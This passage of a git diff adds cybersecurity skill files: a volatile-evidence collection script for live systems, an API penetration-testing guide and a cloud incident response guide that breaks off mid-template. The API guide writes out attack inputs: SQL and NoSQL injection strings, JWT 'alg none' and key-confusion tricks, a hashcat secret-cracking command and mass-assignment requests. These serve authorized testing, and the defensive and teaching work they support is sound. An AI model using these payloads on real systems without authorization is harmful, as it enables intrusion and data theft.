Store hash manifest in separate file +4. Verify hashes before and after any transfer +5. Include hash in chain of custody documentation + +### Chain of Custody Requirements +1. Record who collected each evidence item +2. Record exact time of collection (UTC) +3. Record collection method and tool version +4. Record any transfer of evidence +5. Record storage location and access controls +6. Record any analysis performed on copies (never originals) + +## Common Pitfalls to Avoid +1. Running tools from the compromised system's disk +2. Forgetting to hash evidence immediately +3. Not recording system time offset from UTC +4. Installing collection tools on the compromised system +5. Rebooting the system before memory collection +6. Modifying file timestamps by browsing the filesystem +7. Not documenting collection steps in real-time +8. Collecting evidence without proper authorization diff --git a/skills/collecting-volatile-evidence-from-compromised-host/scripts/process.py b/skills/collecting-volatile-evidence-from-compromised-host/scripts/process.py new file mode 100644 index 00000000..ed510309 --- /dev/null +++ b/skills/collecting-volatile-evidence-from-compromised-host/scripts/process.py @@ -0,0 +1,418 @@ +#!/usr/bin/env python3 +""" +Volatile Evidence Collection Script + +Collects volatile forensic evidence from a live system following +RFC 3227 order of volatility. Runs from external media. + +Collects: +- Network connections and state +- Running processes with command lines +- Logged-in users and sessions +- System configuration and state +- DNS cache, ARP table, routing table +- Hashes all evidence files + +Requirements: + pip install psutil +""" + +import argparse +import csv +import hashlib +import json +import logging +import os +import platform +import socket +import subprocess +import sys +from datetime import datetime, timezone +from pathlib import Path + +try: + import psutil +except ImportError: + print("Install psutil: pip install psutil") + sys.exit(1) + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", +) +logger = logging.getLogger("volatile_evidence") + + +class EvidenceCollector: + """Collect volatile evidence from a live system.""" + + def __init__(self, output_dir: str, case_id: str): + self.case_id = case_id + self.hostname = socket.gethostname() + self.timestamp = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S") + self.output_dir = os.path.join(output_dir, f"{self.hostname}_{self.timestamp}") + os.makedirs(self.output_dir, exist_ok=True) + self.evidence_manifest = [] + self.collection_log = [] + + # Start collection log + self._log_action("Collection initiated", f"Case: {case_id}, Host: {self.hostname}") + self._log_action("System time", datetime.now(timezone.utc).isoformat()) + self._log_action("Platform", f"{platform.system()} {platform.release()}") + self._log_action("Collector", os.getenv("USERNAME", os.getenv("USER", "unknown"))) + + def _log_action(self, action: str, details: str): + entry = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "action": action, + "details": details, + } + self.collection_log.append(entry) + logger.info(f"{action}: {details}") + + def _save_evidence(self, filename: str, content: str, category: str): + filepath = os.path.join(self.output_dir, filename) + with open(filepath, "w", encoding="utf-8", errors="replace") as f: + f.write(content) + file_hash = self._hash_file(filepath) + self.evidence_manifest.append({ + "filename": filename, + "category": category, + "sha256": file_hash, + "size_bytes": os.path.getsize(filepath), + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + self._log_action(f"Evidence collected: {filename}", f"SHA256: {file_hash}") + return filepath + + def _save_evidence_csv(self, filename: str, data: list, category: str): + if not data: + self._log_action(f"No data for {filename}", "Empty result set") + return None + filepath = os.path.join(self.output_dir, filename) + with open(filepath, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=data[0].keys()) + writer.writeheader() + writer.writerows(data) + file_hash = self._hash_file(filepath) + self.evidence_manifest.append({ + "filename": filename, + "category": category, + "sha256": file_hash, + "size_bytes": os.path.getsize(filepath), + "collected_at": datetime.now(timezone.utc).isoformat(), + }) + self._log_action(f"Evidence collected: {filename}", f"SHA256: {file_hash}, Rows: {len(data)}") + return filepath + + @staticmethod + def _hash_file(filepath: str) -> str: + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(8192), b""): + sha256.update(chunk) + return sha256.hexdigest() + + def collect_network_connections(self): + """Collect active network connections with process information.""" + self._log_action("Collecting", "Network connections") + connections = [] + for conn in psutil.net_connections(kind="all"): + try: + proc_name = psutil.Process(conn.pid).name() if conn.pid else "N/A" + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "N/A" + connections.append({ + "fd": conn.fd, + "family": str(conn.family), + "type": str(conn.type), + "local_address": f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else "", + "remote_address": f"{conn.raddr.ip}:{conn.raddr.port}" if conn.raddr else "", + "status": conn.status, + "pid": conn.pid or "", + "process_name": proc_name, + }) + self._save_evidence_csv("network_connections.csv", connections, "network") + + # Also save in text format + text_output = f"Network Connections - {datetime.now(timezone.utc).isoformat()}\n" + text_output += f"{'='*80}\n" + text_output += f"Total connections: {len(connections)}\n\n" + for conn in connections: + text_output += f"PID:{conn['pid']} ({conn['process_name']}) " + text_output += f"{conn['local_address']} -> {conn['remote_address']} " + text_output += f"[{conn['status']}]\n" + self._save_evidence("network_connections.txt", text_output, "network") + return connections + + def collect_arp_table(self): + """Collect ARP cache.""" + self._log_action("Collecting", "ARP table") + try: + if platform.system() == "Windows": + result = subprocess.run(["arp", "-a"], capture_output=True, text=True, timeout=10) + else: + result = subprocess.run(["ip", "neigh"], capture_output=True, text=True, timeout=10) + self._save_evidence("arp_cache.txt", result.stdout, "network") + except Exception as e: + self._log_action("ARP collection failed", str(e)) + + def collect_routing_table(self): + """Collect routing table.""" + self._log_action("Collecting", "Routing table") + try: + if platform.system() == "Windows": + result = subprocess.run(["route", "print"], capture_output=True, text=True, timeout=10) + else: + result = subprocess.run(["ip", "route", "show"], capture_output=True, text=True, timeout=10) + self._save_evidence("routing_table.txt", result.stdout, "network") + except Exception as e: + self._log_action("Routing table collection failed", str(e)) + + def collect_dns_cache(self): + """Collect DNS resolver cache.""" + self._log_action("Collecting", "DNS cache") + try: + if platform.system() == "Windows": + result = subprocess.run(["ipconfig", "/displaydns"], capture_output=True, text=True, timeout=30) + if result.stdout: + self._save_evidence("dns_cache.txt", result.stdout, "network") + else: + # Linux - attempt systemd-resolved + result = subprocess.run( + ["systemd-resolve", "--statistics"], + capture_output=True, text=True, timeout=10, + ) + if result.stdout: + self._save_evidence("dns_stats.txt", result.stdout, "network") + except Exception as e: + self._log_action("DNS cache collection failed", str(e)) + + def collect_running_processes(self): + """Collect detailed information about all running processes.""" + self._log_action("Collecting", "Running processes") + processes = [] + for proc in psutil.process_iter( + ["pid", "ppid", "name", "username", "cmdline", "exe", + "create_time", "status", "cpu_percent", "memory_percent", + "num_threads", "connections"] + ): + try: + info = proc.info + cmdline = " ".join(info["cmdline"]) if info["cmdline"] else "" + create_time = datetime.fromtimestamp(info["create_time"]).isoformat() if info["create_time"] else "" + num_conns = len(info["connections"]) if info["connections"] else 0 + processes.append({ + "pid": info["pid"], + "ppid": info["ppid"], + "name": info["name"], + "username": info["username"] or "", + "command_line": cmdline[:500], + "executable": info["exe"] or "", + "create_time": create_time, + "status": info["status"], + "cpu_percent": info["cpu_percent"], + "memory_percent": round(info["memory_percent"] or 0, 2), + "threads": info["num_threads"], + "network_connections": num_conns, + }) + except (psutil.NoSuchProcess, psutil.AccessDenied): + continue + self._save_evidence_csv("running_processes.csv", processes, "processes") + + # Process tree text format + tree_output = f"Process Tree - {datetime.now(timezone.utc).isoformat()}\n{'='*80}\n" + tree_output += f"Total processes: {len(processes)}\n\n" + for p in sorted(processes, key=lambda x: x["pid"]): + tree_output += f"PID:{p['pid']} PPID:{p['ppid']} User:{p['username']} " + tree_output += f"{p['name']} [{p['status']}]\n" + if p["command_line"]: + tree_output += f" CMD: {p['command_line']}\n" + self._save_evidence("process_tree.txt", tree_output, "processes") + return processes + + def collect_open_files(self): + """Collect open file handles for all processes.""" + self._log_action("Collecting", "Open file handles") + open_files = [] + for proc in psutil.process_iter(["pid", "name"]): + try: + for f in proc.open_files(): + open_files.append({ + "pid": proc.info["pid"], + "process_name": proc.info["name"], + "file_path": f.path, + "fd": f.fd, + "mode": getattr(f, "mode", ""), + }) + except (psutil.NoSuchProcess, psutil.AccessDenied): + continue + if open_files: + self._save_evidence_csv("open_files.csv", open_files, "processes") + return open_files + + def collect_logged_in_users(self): + """Collect information about currently logged-in users.""" + self._log_action("Collecting", "Logged-in users") + users = [] + for user in psutil.users(): + users.append({ + "username": user.name, + "terminal": user.terminal or "", + "host": user.host or "", + "started": datetime.fromtimestamp(user.started).isoformat(), + "pid": getattr(user, "pid", ""), + }) + self._save_evidence_csv("logged_in_users.csv", users, "users") + + # Text format + text = f"Logged-in Users - {datetime.now(timezone.utc).isoformat()}\n{'='*80}\n" + for u in users: + text += f"User: {u['username']} | Terminal: {u['terminal']} | " + text += f"Host: {u['host']} | Since: {u['started']}\n" + self._save_evidence("logged_in_users.txt", text, "users") + return users + + def collect_system_info(self): + """Collect system configuration and state.""" + self._log_action("Collecting", "System information") + boot_time = datetime.fromtimestamp(psutil.boot_time()) + info = { + "hostname": self.hostname, + "platform": platform.platform(), + "architecture": platform.machine(), + "processor": platform.processor(), + "python_version": platform.python_version(), + "boot_time": boot_time.isoformat(), + "uptime_seconds": (datetime.now() - boot_time).total_seconds(), + "cpu_count_physical": psutil.cpu_count(logical=False), + "cpu_count_logical": psutil.cpu_count(logical=True), + "memory_total_gb": round(psutil.virtual_memory().total / (1024**3), 2), + "memory_used_percent": psutil.virtual_memory().percent, + "disk_partitions": [ + {"device": p.device, "mountpoint": p.mountpoint, "fstype": p.fstype} + for p in psutil.disk_partitions() + ], + "network_interfaces": { + name: [{"address": addr.address, "family": str(addr.family)} + for addr in addrs] + for name, addrs in psutil.net_if_addrs().items() + }, + } + self._save_evidence( + "system_info.json", + json.dumps(info, indent=2), + "system", + ) + return info + + def collect_services(self): + """Collect running services (platform-specific).""" + self._log_action("Collecting", "Running services") + try: + if platform.system() == "Windows": + result = subprocess.run( + ["sc", "queryex", "type=", "service", "state=", "all"], + capture_output=True, text=True, timeout=30, + ) + self._save_evidence("services_all.txt", result.stdout, "system") + else: + result = subprocess.run( + ["systemctl", "list-units", "--type=service", "--all", "--no-pager"], + capture_output=True, text=True, timeout=30, + ) + self._save_evidence("systemd_services.txt", result.stdout, "system") + except Exception as e: + self._log_action("Service collection failed", str(e)) + + def collect_scheduled_tasks(self): + """Collect scheduled tasks / cron jobs.""" + self._log_action("Collecting", "Scheduled tasks") + try: + if platform.system() == "Windows": + result = subprocess.run( + ["schtasks", "/query", "/fo", "CSV", "/v"], + capture_output=True, text=True, timeout=30, + ) + self._save_evidence("scheduled_tasks.csv", result.stdout, "system") + else: + result = subprocess.run( + ["crontab", "-l"], + capture_output=True, text=True, timeout=10, + ) + self._save_evidence("crontab.txt", result.stdout or "No crontab", "system") + except Exception as e: + self._log_action("Scheduled task collection failed", str(e)) + + def collect_environment_variables(self): + """Collect environment variables.""" + self._log_action("Collecting", "Environment variables") + env_data = "\n".join(f"{k}={v}" for k, v in sorted(os.environ.items())) + self._save_evidence("environment_variables.txt", env_data, "system") + + def finalize(self): + """Generate evidence manifest and collection log.""" + # Save collection log + log_path = os.path.join(self.output_dir, "collection_log.json") + with open(log_path, "w") as f: + json.dump(self.collection_log, f, indent=2) + + # Save evidence manifest + manifest_path = os.path.join(self.output_dir, "evidence_manifest.json") + manifest = { + "case_id": self.case_id, + "hostname": self.hostname, + "collection_start": self.collection_log[0]["timestamp"] if self.collection_log else "", + "collection_end": datetime.now(timezone.utc).isoformat(), + "total_evidence_items": len(self.evidence_manifest), + "evidence": self.evidence_manifest, + } + with open(manifest_path, "w") as f: + json.dump(manifest, f, indent=2) + + # Generate SHA256 manifest text file + hash_manifest = os.path.join(self.output_dir, "sha256_manifest.txt") + with open(hash_manifest, "w") as f: + for item in self.evidence_manifest: + f.write(f"{item['sha256']} {item['filename']}\n") + + logger.info(f"Collection complete. Evidence directory: {self.output_dir}") + logger.info(f"Total evidence items: {len(self.evidence_manifest)}") + return self.output_dir + + +def main(): + parser = argparse.ArgumentParser(description="Volatile Evidence Collection Tool") + parser.add_argument("--case-id", required=True, help="Case/incident ID") + parser.add_argument("--output-dir", default="./evidence_collection", help="Output directory") + parser.add_argument("--skip-memory", action="store_true", help="Skip memory dump (use dedicated tool)") + parser.add_argument("--collect-all", action="store_true", help="Collect all available evidence types") + + args = parser.parse_args() + + collector = EvidenceCollector(args.output_dir, args.case_id) + + if not args.skip_memory: + logger.info("NOTE: For memory acquisition, use dedicated tools (WinPmem/LiME) from forensic USB") + + # Collect in order of volatility + collector.collect_network_connections() + collector.collect_arp_table() + collector.collect_dns_cache() + collector.collect_routing_table() + collector.collect_running_processes() + collector.collect_open_files() + collector.collect_logged_in_users() + collector.collect_system_info() + collector.collect_services() + collector.collect_scheduled_tasks() + collector.collect_environment_variables() + + evidence_dir = collector.finalize() + print(f"\nEvidence collection complete") + print(f"Output directory: {evidence_dir}") + print(f"Total items: {len(collector.evidence_manifest)}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-api-security-testing/SKILL.md b/skills/conducting-api-security-testing/SKILL.md new file mode 100644 index 00000000..d8b2ea0f --- /dev/null +++ b/skills/conducting-api-security-testing/SKILL.md @@ -0,0 +1,177 @@ +--- +name: conducting-api-security-testing +description: > + Conducts security testing of REST, GraphQL, and gRPC APIs to identify vulnerabilities in + authentication, authorization, rate limiting, input validation, and business logic. The tester + uses the OWASP API Security Top 10 as the testing framework, combining Burp Suite interception + with Postman collections and custom scripts to test endpoint security at every privilege level. + Activates for requests involving API security testing, REST API pentest, GraphQL security + assessment, or API vulnerability testing. +domain: cybersecurity +subdomain: penetration-testing +tags: [API-security, OWASP-API-Top10, REST, GraphQL, authorization-testing] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Conducting API Security Testing + +## When to Use + +- Testing API endpoints for authorization flaws, injection vulnerabilities, and business logic bypasses +- Assessing the security of microservices architecture where APIs are the primary communication method +- Validating that API gateway protections (rate limiting, authentication, input validation) are properly enforced +- Testing third-party API integrations for data exposure and insecure configurations +- Evaluating GraphQL APIs for introspection disclosure, query complexity attacks, and authorization bypasses + +**Do not use** against APIs without written authorization, for load testing or denial-of-service testing unless explicitly scoped, or for testing production APIs that process real financial transactions without safeguards. + +## Prerequisites + +- API documentation (OpenAPI/Swagger, GraphQL schema, Postman collection) or application access to reverse-engineer the API +- Burp Suite Professional configured to intercept API traffic with JSON/XML content type handling +- Postman or Insomnia for organizing and replaying API requests across different authentication contexts +- Valid API tokens or credentials at multiple privilege levels (unauthenticated, standard user, admin) +- Target API base URL and version information + +## Workflow + +### Step 1: API Discovery and Documentation + +Map the complete API attack surface: + +- **Import API documentation**: Load OpenAPI/Swagger specs into Postman or Burp Suite to catalog all endpoints, methods, parameters, and authentication requirements +- **Reverse-engineer undocumented APIs**: Proxy the mobile app or web frontend through Burp Suite and exercise all features to capture API calls. Export the Burp sitemap as the baseline endpoint inventory. +- **GraphQL introspection**: Send an introspection query to discover the full schema: + ```json + {"query": "{__schema{types{name,fields{name,args{name,type{name}}}}}}"} + ``` +- **Endpoint enumeration**: Fuzz for hidden API versions (`/api/v1/`, `/api/v2/`, `/api/internal/`), debug endpoints (`/api/debug`, `/api/health`, `/api/metrics`), and administrative endpoints +- **Document authentication mechanisms**: Identify if the API uses API keys, OAuth 2.0 Bearer tokens, JWT, session cookies, or mutual TLS + +### Step 2: Authentication and Token Testing + +Test authentication mechanisms for weaknesses: + +- **JWT analysis**: Decode the JWT and inspect claims (sub, exp, iss, aud, role). Test: + - Algorithm confusion: Change `alg` to `none` and remove the signature + - Key confusion: Change `alg` from RS256 to HS256 and sign with the public key + - Weak secret: Brute-force the HMAC secret with `hashcat -m 16500 jwt.txt wordlist.txt` + - Token expiration: Verify tokens expire and cannot be used after expiration + - Claim tampering: Modify role, userId, or permission claims and re-sign +- **OAuth 2.0 testing**: Check for redirect_uri manipulation, authorization code reuse, token leakage in Referer headers, and missing state parameter (CSRF) +- **API key security**: Test if API keys are validated per-endpoint, if revoked keys are immediately rejected, and if keys in query strings appear in access logs or analytics + +### Step 3: Authorization Testing (BOLA/BFLA) + +Test for Broken Object Level Authorization (BOLA) and Broken Function Level Authorization (BFLA): + +- **BOLA (IDOR) testing**: For every endpoint that returns user-specific data, replace the object identifier with another user's identifier: + - `GET /api/users/123/orders` -> `GET /api/users/456/orders` + - Test with numeric IDs, UUIDs, usernames, and email addresses + - Automate with Burp Autorize extension: configure it with two sessions (attacker and victim) and replay all requests +- **BFLA testing**: Using a low-privilege token, attempt to access administrative endpoints: + - `DELETE /api/users/456` (admin-only delete) + - `PUT /api/users/456/role` (role modification) + - `GET /api/admin/dashboard` (admin panel data) +- **Mass assignment**: Send additional JSON properties not shown in the documentation: + ```json + PUT /api/users/123 + {"name": "Test", "role": "admin", "isVerified": true, "balance": 99999} + ``` +- **HTTP method testing**: If GET works on an endpoint, try PUT, PATCH, DELETE, and OPTIONS to discover unprotected methods + +### Step 4: Input Validation and Injection Testing + +Test API inputs for injection and validation flaws: + +- **SQL injection in API parameters**: Test all parameters (path, query, body, headers) with SQL injection payloads. JSON APIs are often overlooked: `{"username": "admin' OR 1=1--", "password": "test"}` +- **NoSQL injection**: For MongoDB backends, test with operator injection: `{"username": {"$gt": ""}, "password": {"$gt": ""}}` +- **SSRF via API**: Test any parameter that accepts URLs (webhook URLs, avatar URLs, import endpoints) with internal addresses and cloud metadata endpoints +- **GraphQL-specific injection**: Test for query depth attacks, alias-based batching for brute force, and field suggestion enumeration +- **XXE in XML APIs**: Submit XML content with external entity declarations to API endpoints that accept XML +- **Rate limiting validation**: Send 100+ rapid requests to authentication endpoints, password reset, and OTP verification to test for brute force protection + +### Step 5: Data Exposure and Response Analysis + +Check for excessive data exposure in API responses: + +- **Verbose responses**: Compare the data returned in API responses with what the UI displays. APIs often return more fields than needed (internal IDs, creation timestamps, email addresses of other users, role information). +- **Error message analysis**: Trigger errors by sending malformed input, invalid tokens, and non-existent resources. Check if error messages reveal stack traces, database queries, internal paths, or technology details. +- **Pagination and enumeration**: Test if enumeration is possible by iterating through paginated responses (`/api/users?page=1`, `page=2`, etc.) to extract all records +- **GraphQL data exposure**: Query for fields not intended for the current user's role. Test nested queries that traverse relationships to access unauthorized data. +- **Debug endpoints**: Check `/api/debug`, `/api/status`, `/metrics`, `/health`, `/.env`, `/api/swagger.json` for exposed internal information + +## Key Concepts + +| Term | Definition | +|------|------------| +| **BOLA** | Broken Object Level Authorization (OWASP API #1); failure to verify that the requesting user is authorized to access a specific object, enabling IDOR attacks | +| **BFLA** | Broken Function Level Authorization (OWASP API #5); failure to restrict administrative or privileged API functions from being accessed by lower-privilege users | +| **Mass Assignment** | A vulnerability where the API binds client-provided data to internal object properties without filtering, allowing attackers to modify fields they should not have access to | +| **GraphQL Introspection** | A built-in GraphQL feature that exposes the complete API schema including all types, fields, and relationships; should be disabled in production | +| **JWT** | JSON Web Token; a self-contained token format used for API authentication containing claims signed with a secret or key pair | +| **Rate Limiting** | Controls that restrict the number of API requests a client can make within a time window, preventing brute force, enumeration, and abuse | + +## Tools & Systems + +- **Burp Suite Professional**: HTTP proxy for intercepting, modifying, and replaying API requests with extensions like Autorize for automated authorization testing +- **Postman**: API development platform used for organizing endpoint collections, scripting tests, and comparing responses across authentication contexts +- **GraphQL Voyager**: Visual tool for exploring GraphQL schemas obtained through introspection queries +- **jwt.io / jwt_tool**: Tools for decoding, analyzing, and tampering with JWT tokens to test authentication bypasses +- **Nuclei**: Template-based scanner with API-specific templates for detecting common misconfigurations and known vulnerabilities + +## Common Scenarios + +### Scenario: API Security Assessment for a Fintech Mobile Application + +**Context**: A fintech startup has a mobile banking application with a REST API backend. The API handles account management, fund transfers, bill payments, and transaction history. The tester has Swagger documentation and accounts at user and admin levels. + +**Approach**: +1. Import Swagger spec into Postman, generating 87 endpoint collections across 12 controllers +2. Discover BOLA on `/api/v1/accounts/{accountId}/transactions` allowing any authenticated user to view any account's transaction history +3. Find mass assignment on the user update endpoint where adding `"dailyTransferLimit": 999999` bypasses the configured transfer limit +4. Identify that the fund transfer endpoint lacks rate limiting, allowing unlimited transfer attempts without throttling +5. Discover that JWT tokens have a 30-day expiration with no refresh token rotation, enabling long-lived session hijacking +6. Find that the admin endpoint `/api/v1/admin/users` is accessible with a standard user token (BFLA) +7. Report all findings with CVSS scores and specific API code-level remediation guidance + +**Pitfalls**: +- Testing only the endpoints documented in Swagger and missing undocumented or deprecated API versions +- Not testing the same endpoint with tokens from every privilege level to detect authorization bypasses +- Ignoring response body analysis for excessive data exposure when the UI only shows a subset of returned fields +- Failing to test for mass assignment by only sending fields shown in the documentation + +## Output Format + +``` +## Finding: Broken Object Level Authorization in Transaction History API + +**ID**: API-001 +**Severity**: Critical (CVSS 9.1) +**Affected Endpoint**: GET /api/v1/accounts/{accountId}/transactions +**OWASP API Category**: API1:2023 - Broken Object Level Authorization + +**Description**: +The transaction history endpoint returns all transactions for the specified +account without verifying that the authenticated user owns the account. Any +authenticated user can view the complete transaction history of any account +by substituting the accountId path parameter. + +**Proof of Concept**: +1. Authenticate as User A (account ID: ACC-10045) +2. Request: GET /api/v1/accounts/ACC-10046/transactions + Authorization: Bearer +3. Response: 200 OK with User B's full transaction history + +**Impact**: +Any authenticated user can view the complete financial transaction history of +all 45,000 customer accounts, including amounts, dates, recipients, and +transaction descriptions. + +**Remediation**: +Implement server-side authorization check that verifies the authenticated user +owns the requested account before returning data: + const account = await Account.findById(accountId); + if (account.userId !== req.user.id) return res.status(403).json({error: "Forbidden"}); +``` diff --git a/skills/conducting-cloud-incident-response/SKILL.md b/skills/conducting-cloud-incident-response/SKILL.md new file mode 100644 index 00000000..0a013fd1 --- /dev/null +++ b/skills/conducting-cloud-incident-response/SKILL.md @@ -0,0 +1,279 @@ +--- +name: conducting-cloud-incident-response +description: > + Responds to security incidents in cloud environments (AWS, Azure, GCP) by performing + identity-based containment, cloud-native log analysis, resource isolation, and forensic + evidence acquisition adapted for ephemeral cloud infrastructure. Activates for requests + involving cloud incident response, AWS security incident, Azure compromise, GCP breach, + cloud forensics, or cloud identity compromise. +domain: cybersecurity +subdomain: incident-response +tags: [cloud-IR, AWS-forensics, Azure-incident-response, GCP-security, identity-containment] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Conducting Cloud Incident Response + +## When to Use + +- Cloud security posture management (CSPM) alerts on unauthorized resource changes +- CloudTrail, Azure Activity Logs, or GCP Audit Logs show suspicious API calls +- Cloud access keys or service principal credentials are suspected compromised +- Unauthorized compute instances, storage buckets, or IAM changes are detected +- A cloud-hosted application is breached and attacker activity spans cloud services + +**Do not use** for on-premises-only incidents with no cloud component; use standard enterprise IR procedures. + +## Prerequisites + +- Cloud-native logging enabled and centralized: AWS CloudTrail (all regions), Azure Activity/Sign-in Logs, GCP Cloud Audit Logs +- IR-specific cloud IAM roles pre-provisioned with read-only forensic access +- Isolated forensic account/subscription/project for evidence preservation +- Cloud incident response runbooks specific to each cloud provider +- Cloud-native security tools: AWS GuardDuty, Azure Defender for Cloud, GCP Security Command Center +- Network traffic logging: VPC Flow Logs (AWS/GCP), NSG Flow Logs (Azure) + +## Workflow + +### Step 1: Detect and Confirm the Cloud Incident + +Identify the scope and nature of the compromise: + +**AWS Indicators:** +``` +CloudTrail suspicious events to investigate: +- ConsoleLogin from unexpected geolocation or IP +- CreateAccessKey for existing IAM user (persistence) +- RunInstances for crypto-mining (large instance types) +- PutBucketPolicy making S3 bucket public +- AssumeRole to cross-account roles +- DeleteTrail or StopLogging (defense evasion) +- CreateUser or AttachUserPolicy (privilege escalation) +``` + +**Azure Indicators:** +``` +Azure Activity Log events to investigate: +- Sign-in from anonymous IP or TOR exit node +- Service principal credential added +- Role assignment changes (Owner, Contributor added) +- VM created in unusual region +- Storage account access key regenerated +- Conditional Access policy modified or deleted +- MFA disabled for user account +``` + +**GCP Indicators:** +``` +GCP Audit Log events to investigate: +- SetIamPolicy changes granting broad access +- CreateServiceAccountKey for existing SA +- InsertInstance in unexpected zone +- SetBucketIamPolicy with allUsers +- DeleteLog or UpdateSink (log tampering) +``` + +### Step 2: Contain Cloud Identity Compromise + +Cloud containment is primarily an identity operation: + +**AWS Containment:** +```bash +# Disable compromised IAM access keys +aws iam update-access-key --user-name compromised-user \ + --access-key-id AKIA... --status Inactive + +# Attach deny-all policy to compromised user +aws iam attach-user-policy --user-name compromised-user \ + --policy-arn arn:aws:iam::aws:policy/AWSDenyAll + +# Revoke all active sessions for compromised IAM role +aws iam put-role-policy --role-name compromised-role \ + --policy-name RevokeOlderSessions --policy-document '{ + "Version":"2012-10-17", + "Statement":[{ + "Effect":"Deny", + "Action":"*", + "Resource":"*", + "Condition":{"DateLessThan": + {"aws:TokenIssueTime":"2025-11-15T15:00:00Z"}} + }] + }' + +# Isolate compromised EC2 instance +aws ec2 modify-instance-attribute --instance-id i-0abc123 \ + --groups sg-isolate-forensic +``` + +**Azure Containment:** +```powershell +# Disable compromised user +Set-AzureADUser -ObjectId "user@tenant.onmicrosoft.com" -AccountEnabled $false + +# Revoke all sessions +Revoke-AzureADUserAllRefreshToken -ObjectId "user-object-id" + +# Remove role assignments +Remove-AzRoleAssignment -ObjectId "sp-object-id" -RoleDefinitionName "Contributor" + +# Isolate VM with NSG deny-all rule +$nsg = New-AzNetworkSecurityGroup -Name "isolate-nsg" -ResourceGroupName "rg" -Location "eastus" +$nsg | Add-AzNetworkSecurityRuleConfig -Name "DenyAll" -Priority 100 -Direction Inbound ` + -Access Deny -Protocol * -SourceAddressPrefix * -SourcePortRange * ` + -DestinationAddressPrefix * -DestinationPortRange * +``` + +### Step 3: Preserve Cloud Evidence + +Collect evidence before ephemeral resources are terminated or logs rotate: + +**AWS Evidence Collection:** +- Export CloudTrail events to S3 in the forensic account +- Snapshot EBS volumes of compromised EC2 instances +- Copy S3 access logs and object versions +- Export VPC Flow Logs for the affected VPC +- Capture IAM credential reports and access advisor data + +**Azure Evidence Collection:** +- Export Azure Activity Logs and Sign-in Logs (90-day retention by default) +- Snapshot managed disks of compromised VMs +- Export Azure AD audit logs +- Capture NSG flow logs +- Export Conditional Access sign-in details + +**GCP Evidence Collection:** +- Export Cloud Audit Logs to a forensic storage bucket +- Snapshot persistent disks of compromised VMs +- Export VPC Flow Logs +- Capture IAM policy snapshots + +### Step 4: Investigate Cloud-Specific Attack Patterns + +Analyze logs for common cloud attack techniques: + +``` +Common Cloud Attack Patterns: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. Credential Compromise → IAM Privilege Escalation → Resource Abuse +2. Public S3/Blob → Data Exfiltration +3. SSRF from Web App → IMDS Token Theft → Lateral Movement +4. Compromised CI/CD Pipeline → Malicious Deployment +5. Cross-Account Role Abuse → Multi-Account Pivot +6. Lambda/Function Abuse → Crypto-mining or Data Processing +``` + +**IMDS Token Theft Investigation (AWS):** +```bash +# Search CloudTrail for API calls using instance role credentials from external IP +aws cloudtrail lookup-events --lookup-attributes \ + AttributeKey=EventSource,AttributeValue=ec2.amazonaws.com \ + --start-time 2025-11-14 --end-time 2025-11-16 \ + | jq '.Events[] | select(.CloudTrailEvent | fromjson | .sourceIPAddress != "internal")' +``` + +### Step 5: Eradicate and Recover + +Remove adversary access and restore secure state: + +- Rotate all compromised credentials (access keys, passwords, service principal secrets) +- Remove unauthorized IAM users, roles, policies, and access keys created by the attacker +- Terminate unauthorized compute instances (crypto-miners, C2 servers) +- Restore modified S3 bucket policies and storage access policies to pre-incident state +- Re-enable security controls that were disabled (CloudTrail, GuardDuty, Defender for Cloud) +- Review and restore Conditional Access policies and MFA configurations + +### Step 6: Post-Incident Cloud Hardening + +Implement controls to prevent recurrence: + +- Enable MFA for all IAM users and require MFA for sensitive API calls +- Implement SCPs (AWS) or Azure Policy to prevent logging disablement +- Enable GuardDuty / Defender for Cloud / Security Command Center with auto-remediation +- Implement least-privilege IAM policies using access analyzer data +- Enable IMDS v2 (token-required) on all EC2 instances to prevent SSRF-based token theft +- Configure budget alerts to detect crypto-mining cost spikes + +## Key Concepts + +| Term | Definition | +|------|------------| +| **IMDS (Instance Metadata Service)** | Cloud service providing instance credentials accessible from within a VM; SSRF attacks target IMDS to steal tokens | +| **CloudTrail** | AWS service logging all API calls across the AWS account; primary evidence source for AWS incident response | +| **Service Principal** | Non-human identity in Azure AD used by applications and services; compromise enables persistent API access | +| **SCP (Service Control Policy)** | AWS Organizations policy that limits the maximum permissions available to accounts; useful for guardrails | +| **Ephemeral Infrastructure** | Cloud resources (containers, functions, auto-scaled instances) that may be terminated before evidence can be collected | +| **Cross-Account Role Assumption** | AWS mechanism allowing one account to temporarily access resources in another; attackers pivot through assumed roles | + +## Tools & Systems + +- **AWS CloudTrail / Azure Activity Logs / GCP Audit Logs**: Cloud-native API logging services providing the primary audit trail +- **Cado Response**: Cloud-native forensics platform for automated evidence capture from AWS, Azure, and GCP +- **Prowler (AWS) / ScoutSuite (multi-cloud)**: Open-source cloud security assessment tools for post-incident posture review +- **Steampipe**: Open-source SQL-based tool for querying cloud APIs to investigate IAM configurations and resource states +- **Cartography (Lyft)**: Open-source tool for mapping cloud infrastructure relationships and identifying attack paths + +## Common Scenarios + +### Scenario: AWS Access Key Compromised via Public GitHub Repository + +**Context**: AWS GuardDuty alerts on API calls from an unexpected IP address using an IAM user's access key. The key was accidentally committed to a public GitHub repository 4 hours ago. + +**Approach**: +1. Immediately disable the compromised access key via AWS IAM +2. Attach AWSDenyAll policy to the affected IAM user +3. Query CloudTrail for all API calls made with the compromised key since exposure +4. Identify resources created or modified by the attacker (EC2 instances for crypto-mining, new IAM users for persistence) +5. Terminate unauthorized resources and remove backdoor IAM entities +6. Rotate all credentials the compromised user had access to +7. Enable GitHub secret scanning to prevent future credential leaks + +**Pitfalls**: +- Only disabling the access key without checking for new access keys or IAM users created as persistence +- Not checking all AWS regions for attacker-created resources (crypto-miners deployed in every region) +- Forgetting to revoke temporary credentials from assumed roles (STS tokens remain valid until expiry) +- Not calculating the financial impact of unauthorized resource usage for insurance claims + +## Output Format + +``` +CLOUD INCIDENT RESPONSE 